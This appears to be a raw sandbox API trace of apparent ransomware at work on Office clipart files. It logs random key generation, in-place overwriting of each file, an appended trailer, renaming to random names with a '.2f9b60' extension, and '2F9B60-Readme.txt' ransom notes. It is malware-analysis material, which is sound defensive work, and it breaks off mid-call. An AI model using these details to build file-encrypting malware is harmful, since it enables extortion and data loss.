[0117.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b862ca0 [0117.755] wcscpy (in: _Dest=0x1b862ca0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.755] wcscat (in: _Dest=0x1b862ca0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862ca0) returned 1 [0117.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac0b0) returned 1 Thread: id = 1291 os_tid = 0xf94 [0116.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif")) returned 0x20 [0117.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", dwFileAttributes=0x20) returned 1 [0117.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe34 [0117.592] GetFileSizeEx (in: hFile=0xe34, lpFileSize=0x3b2cf980 | out: lpFileSize=0x3b2cf980*=5715) returned 1 [0117.592] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x164f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.592] ReadFile (in: hFile=0xe34, lpBuffer=0x3b2cf900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b2cf948, lpOverlapped=0x0 | out: lpBuffer=0x3b2cf900*, lpNumberOfBytesRead=0x3b2cf948*=0x4, lpOverlapped=0x0) returned 1 [0117.607] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa000 [0117.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9f10 [0117.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d30 [0117.608] NtQuerySystemTime (in: CurrentTime=0x3b2cf840 | out: CurrentTime=0x3b2cf840*=132462177230446000) returned 0x0 [0117.608] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x2de407cc [0117.608] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x5c7d2839 [0117.608] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x7de5bee3 [0117.608] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x5cf199da [0117.608] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0xb0d0162 [0117.608] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x47616f0b [0117.608] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x54124452 [0117.608] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x4c31f546 [0117.609] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x6e909939 [0117.609] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x48146940 [0117.609] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x45f77365 [0117.609] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x6bf60735 [0117.609] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x4a416b00 [0117.609] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x5c55f8bf [0117.609] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x30e59fa9 [0117.609] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x31dd09d6 [0117.609] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x23612421 [0117.609] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x1e196af3 [0117.609] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x37f623bf [0117.610] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x5c0d0f24 [0117.610] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x607f1248 [0117.610] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x7a34e199 [0117.610] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x25d893bc [0117.611] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x10b17c4e [0117.611] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x45098295 [0117.611] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x20a156de [0117.611] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x3b5024db [0117.611] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0xb3eb88f [0117.611] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x34a7e423 [0117.611] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x6f3a7154 [0117.611] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x6ba7d1b5 [0117.611] RtlRandomEx (in: Seed=0x3b2cf830 | out: Seed=0x3b2cf830) returned 0x68b37dfa [0117.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d60 [0117.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d90 [0117.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d30) returned 1 [0117.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa000) returned 1 [0117.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa000 [0117.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa000) returned 1 [0117.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fbd170 [0117.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc0d80 [0117.621] ReadFile (in: hFile=0xe34, lpBuffer=0x41fbd170, nNumberOfBytesToRead=0x1653, lpNumberOfBytesRead=0x3b2cf830, lpOverlapped=0x0 | out: lpBuffer=0x41fbd170*, lpNumberOfBytesRead=0x3b2cf830*=0x1653, lpOverlapped=0x0) returned 1 [0117.627] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.627] WriteFile (in: hFile=0xe34, lpBuffer=0x41fc0d80*, nNumberOfBytesToWrite=0x1653, lpNumberOfBytesWritten=0x3b2cf834, lpOverlapped=0x0 | out: lpBuffer=0x41fc0d80*, lpNumberOfBytesWritten=0x3b2cf834*=0x1653, lpOverlapped=0x0) returned 1 [0117.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e80 [0117.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0117.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc0d80) returned 1 [0117.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fbd170) returned 1 [0117.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9d00 [0117.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9700 [0117.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9700) returned 1 [0117.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9700 [0117.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a30 [0117.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b80 [0117.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b80) returned 1 [0117.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1675e0 [0117.645] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.645] WriteFile (in: hFile=0xe34, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3b2cf950, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3b2cf950*=0x10a, lpOverlapped=0x0) returned 1 [0117.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9eb0 [0117.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9eb0) returned 1 [0117.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0117.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9eb0 [0117.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ca0 [0117.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9ca0) returned 1 [0117.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0117.650] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="0a") returned 2 [0117.650] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="b9") returned 2 [0117.650] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="74") returned 2 [0117.650] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="6a") returned 2 [0117.650] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="b0") returned 2 [0117.650] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="5d") returned 2 [0117.650] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="29") returned 2 [0117.650] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="66") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="ab") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="44") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="b9") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="5d") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="29") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="cb") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="aa") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="d4") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="52") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="74") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="d1") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="ec") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="38") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="66") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="7b") returned 2 [0117.651] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="7e") returned 2 [0117.651] RtlInitAnsiString (in: DestinationString=0x3b2cf9c8, SourceString="0ab9746ab05d2966ab44b95d29cbaad45274d1ec38667b7e" | out: DestinationString="0ab9746ab05d2966ab44b95d29cbaad45274d1ec38667b7e") [0117.651] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b2cf998, SourceString="0ab9746ab05d2966ab44b95d29cbaad45274d1ec38667b7e", AllocateDestinationString=1 | out: DestinationString="0ab9746ab05d2966ab44b95d29cbaad45274d1ec38667b7e") returned 0x0 [0117.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9160 [0117.651] RtlFreeAnsiString (AnsiString="0") [0117.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0117.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0117.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9eb0) returned 1 [0117.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1675e0) returned 1 [0117.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9700) returned 1 [0117.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a30) returned 1 [0117.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0117.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e80) returned 1 [0117.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9f10) returned 1 [0117.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d60) returned 1 [0117.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d90) returned 1 [0117.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b8629e0 [0117.652] wcscat (in: _Dest=0x1b8629e0, _Source="0ab9746ab05d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\0ab9746ab05d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\0ab9746ab05d" [0117.652] wcscat (in: _Dest=0x1b8629e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\0ab9746ab05d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\0ab9746ab05d.2f9b60" [0117.652] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\0ab9746ab05d.2f9b60", NtPathName=0x3b2cf970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\0ab9746ab05d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118a20 [0117.653] NtSetInformationFile (FileHandle=0xe34, IoStatusBlock=0x3b2cfa10, FileInformation=0x118a20, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118a20) returned 1 [0117.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49ee0) returned 1 [0117.740] NtQueryInformationFile (in: FileHandle=0xe34, IoStatusBlock=0x3b2cf9d8, FileInformation=0x3b2cf9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b2cf9d8, FileInformation=0x3b2cf9e8) returned 0x0 [0117.740] NtSetInformationFile (FileHandle=0xe34, IoStatusBlock=0x3b2cf9d8, FileInformation=0x3b2cf9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8629e0) returned 1 [0117.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9160) returned 1 [0117.741] FlushFileBuffers (hFile=0xe34) returned 1 [0117.742] CloseHandle (hObject=0xe34) returned 1 [0117.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b8629e0 [0117.743] wcscpy (in: _Dest=0x1b8629e0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.743] wcscat (in: _Dest=0x1b8629e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8629e0) returned 1 [0117.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac160) returned 1 Thread: id = 1292 os_tid = 0xfa0 [0116.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif")) returned 0x20 [0117.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", dwFileAttributes=0x20) returned 1 [0117.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1790 [0117.590] GetFileSizeEx (in: hFile=0x1790, lpFileSize=0x3acdf960 | out: lpFileSize=0x3acdf960*=4971) returned 1 [0117.590] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x1367, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.590] ReadFile (in: hFile=0x1790, lpBuffer=0x3acdf8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3acdf928, lpOverlapped=0x0 | out: lpBuffer=0x3acdf8e0*, lpNumberOfBytesRead=0x3acdf928*=0x4, lpOverlapped=0x0) returned 1 [0117.594] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa000 [0117.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9f40 [0117.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9f10 [0117.594] NtQuerySystemTime (in: CurrentTime=0x3acdf820 | out: CurrentTime=0x3acdf820*=132462177230446000) returned 0x0 [0117.594] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x5676ad39 [0117.594] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x7e93927e [0117.594] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x2272c16d [0117.594] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x1a2600f [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x359705b4 [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x4415cac0 [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x5316ecf [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x4dff94eb [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x7c983a35 [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x7b4c3cc3 [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x62367aa9 [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x72818ca6 [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x7665c2e1 [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x26e25847 [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x6881a5bf [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x20d6cc73 [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x57508e9c [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x13ee6615 [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x31dd09d6 [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x1f48249 [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x3bc1a7bd [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x7974e864 [0117.595] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x104338c2 [0117.596] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x63e09e1e [0117.596] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x5f651f [0117.596] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x49157dc0 [0117.596] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x705338a [0117.596] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x1995ddc3 [0117.596] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x78bbff38 [0117.596] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x39d539b2 [0117.596] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0x4def080d [0117.596] RtlRandomEx (in: Seed=0x3acdf810 | out: Seed=0x3acdf810) returned 0xc779bfc [0117.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ca0 [0117.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0117.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9eb0 [0117.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0117.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9f10) returned 1 [0117.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa000) returned 1 [0117.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0117.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0117.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa000 [0117.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa000) returned 1 [0117.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb5950 [0117.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb9560 [0117.607] ReadFile (in: hFile=0x1790, lpBuffer=0x41fb5950, nNumberOfBytesToRead=0x136b, lpNumberOfBytesRead=0x3acdf810, lpOverlapped=0x0 | out: lpBuffer=0x41fb5950*, lpNumberOfBytesRead=0x3acdf810*=0x136b, lpOverlapped=0x0) returned 1 [0117.626] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.626] WriteFile (in: hFile=0x1790, lpBuffer=0x41fb9560*, nNumberOfBytesToWrite=0x136b, lpNumberOfBytesWritten=0x3acdf814, lpOverlapped=0x0 | out: lpBuffer=0x41fb9560*, lpNumberOfBytesWritten=0x3acdf814*=0x136b, lpOverlapped=0x0) returned 1 [0117.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa000 [0117.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0117.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0117.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb9560) returned 1 [0117.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb5950) returned 1 [0117.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0117.642] RtlFreeHeap 